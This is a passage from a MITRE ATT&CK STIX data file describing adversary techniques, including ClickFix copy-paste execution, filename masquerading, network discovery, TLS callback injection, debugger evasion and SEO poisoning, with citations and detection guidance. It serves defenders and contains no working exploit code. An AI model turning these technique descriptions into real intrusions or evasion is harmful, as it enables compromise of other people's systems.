            "description": "An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).  \n\nMalicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)\n\nAdversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024)\n\nTricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files. ",
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                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/649.html",
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                    "source_name": "Mac Backdoors are back",
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            "modified": "2025-04-25T15:16:17.444Z",
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            "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
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            "created": "2017-05-31T21:30:28.187Z",
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                    "external_id": "T1018"
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                {
                    "source_name": "CISA AR21-126A FIVEHANDS May 2021",
                    "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:15.859Z",
            "name": "Remote System Discovery",
            "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097), <code>net view</code> using [Net](https://attack.mitre.org/software/S0039), or, on ESXi servers, `esxcli network diag ping`.\n\nAdversaries may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)  \n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Daniel Stepanic, Elastic",
                "RedHuntLabs, @redhuntlabs",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as <code>ping.exe</code> and <code>tracert.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "3.6",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Connection Creation",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "created": "2017-05-31T21:30:43.915Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1046",
                    "external_id": "T1046"
                },
                {
                    "source_name": "apple doco bonjour description",
                    "description": "Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html"
                },
                {
                    "source_name": "CISA AR21-126A FIVEHANDS May 2021",
                    "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
                },
                {
                    "source_name": "macOS APT Activity Bradley",
                    "description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.",
                    "url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:15.945Z",
            "name": "Network Service Discovery",
            "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian",
                "Aaron Sullivan aka ZerkerEOD"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices"
            ],
            "x_mitre_version": "3.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "Cloud Service: Cloud Service Enumeration"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d",
            "created": "2020-10-02T15:46:24.670Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590/001",
                    "external_id": "T1590.001"
                },
                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "Azure Active Directory Reconnaisance",
                    "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.",
                    "url": "https://o365blog.com/post/just-looking/"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "Office 265 Azure Domain Availability",
                    "description": "Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure"
                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:22:22.764Z",
            "name": "Domain Properties",
            "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "created": "2019-09-16T17:52:44.147Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1518",
                    "external_id": "T1518"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:16.123Z",
            "name": "Software Discovery",
            "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution",
                "Process: Process Creation",
                "Firewall: Firewall Enumeration",
                "Firewall: Firewall Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f",
            "created": "2019-08-30T18:11:24.582Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1538",
                    "external_id": "T1538"
                },
                {
                    "source_name": "AWS Console Sign-in Events",
                    "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.",
                    "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html"
                },
                {
                    "source_name": "Google Command Center Dashboard",
                    "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.",
                    "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:16.288Z",
            "name": "Cloud Service Dashboard",
            "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian",
                "Obsidian Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "SaaS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744",
            "created": "2020-01-14T01:30:41.092Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/005",
                    "external_id": "T1055.005"
                },
                {
                    "source_name": "FireEye TLS Nov 2017",
                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:48:21.860Z",
            "name": "Thread Local Storage",
            "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Modification",
                "Process: Process Access",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391",
            "created": "2022-04-01T17:59:46.156Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1622",
                    "external_id": "T1622"
                },
                {
                    "source_name": "Apriorit",
                    "description": "Apriorit. (2024, June 4). Anti Debugging Protection Techniques with Examples. Retrieved March 4, 2025.",
                    "url": "https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software"
                },
                {
                    "source_name": "Checkpoint Dridex Jan 2021",
                    "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.",
                    "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/"
                },
                {
                    "source_name": "hasherezade debug",
                    "description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022.",
                    "url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf"
                },
                {
                    "source_name": "Cado Security P2PInfect 2023",
                    "description": "jbowen. (2023, December 4). P2Pinfect - New Variant Targets MIPS Devices. Retrieved March 18, 2025.",
                    "url": "https://www.cadosecurity.com/blog/p2pinfect-new-variant-targets-mips-devices"
                },
                {
                    "source_name": "AlKhaser Debug",
                    "description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022.",
                    "url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug"
                },
                {
                    "source_name": "wardle evilquest partii",
                    "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x60.html"
                },
                {
                    "source_name": "ProcessHacker Github",
                    "description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022.",
                    "url": "https://github.com/processhacker/processhacker"
                },
                {
                    "source_name": "Positive Technologies Hellhounds 2023",
                    "description": "PT Expert Security Center. (2023, November 29). Hellhounds: operation Lahat. Retrieved March 18, 2025.",
                    "url": "https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat"
                },
                {
                    "source_name": "vxunderground debug",
                    "description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.",
                    "url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug"
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            "modified": "2025-04-15T19:59:16.468Z",
            "name": "Debugger Evasion",
            "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary. On Windows, this may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools.(Citation: Cado Security P2PInfect 2023)(Citation: Positive Technologies Hellhounds 2023) Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nMalware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program\u2019s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program\u2019s execution to continue.(Citation: Apriorit)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)",
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            "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86",
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                    "url": "https://attack.mitre.org/techniques/T1036/006",
                    "external_id": "T1036.006"
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                    "source_name": "Mac Backdoors are back",
                    "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
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                    "url": "https://attack.mitre.org/techniques/T1547/007",
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                    "source_name": "Re-Open windows on Mac",
                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
                    "url": "https://support.apple.com/en-us/HT204005"
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                    "source_name": "Wardle Persistence Chapter",
                    "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
                    "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
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            "name": "Re-opened Applications",
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            "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.",
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            "created": "2022-09-30T21:14:12.284Z",
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                    "url": "https://attack.mitre.org/techniques/T1608/006",
                    "external_id": "T1608.006"
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                    "source_name": "MalwareBytes SEO",
                    "description": "Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved September 30, 2022.",
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                    "source_name": "Atlas SEO",
                    "description": "Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization Tactics to Redirect Traffic and Install Malware. Retrieved September 30, 2022.",
                    "url": "https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/"
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                    "source_name": "Sophos Gootloader",
                    "description": "Szappanos, G. & Brandt, A. (2021, March 1). \u201cGootloader\u201d expands its payload delivery options. Retrieved September 30, 2022.",
                    "url": "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"
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                {
                    "source_name": "DFIR Report Gootloader",
                    "description": "The DFIR Report. (2022, May 9). SEO Poisoning \u2013 A Gootloader Story. Retrieved September 30, 2022.",
                    "url": "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/"
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                {
                    "source_name": "ZScaler SEO",
                    "description": "Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved September 30, 2022.",
                    "url": "https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0"
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                    "source_name": "Chexmarx-seo",
                    "description": "Yehuda Gelb. (2023, November 30). The GitHub Black Market: Gaming the Star Ranking Game. Retrieved June 18, 2024.",
                    "url": "https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7"
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                    "source_name": "Checkmarx-oss-seo",
                    "description": "Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.",
                    "url": "https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/"
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            "name": "SEO Poisoning",
            "description": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo)\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\u2019s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)",
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            "x_mitre_detection": "",
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                    "url": "https://attack.mitre.org/techniques/T1550/002",
                    "external_id": "T1550.002"
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                {
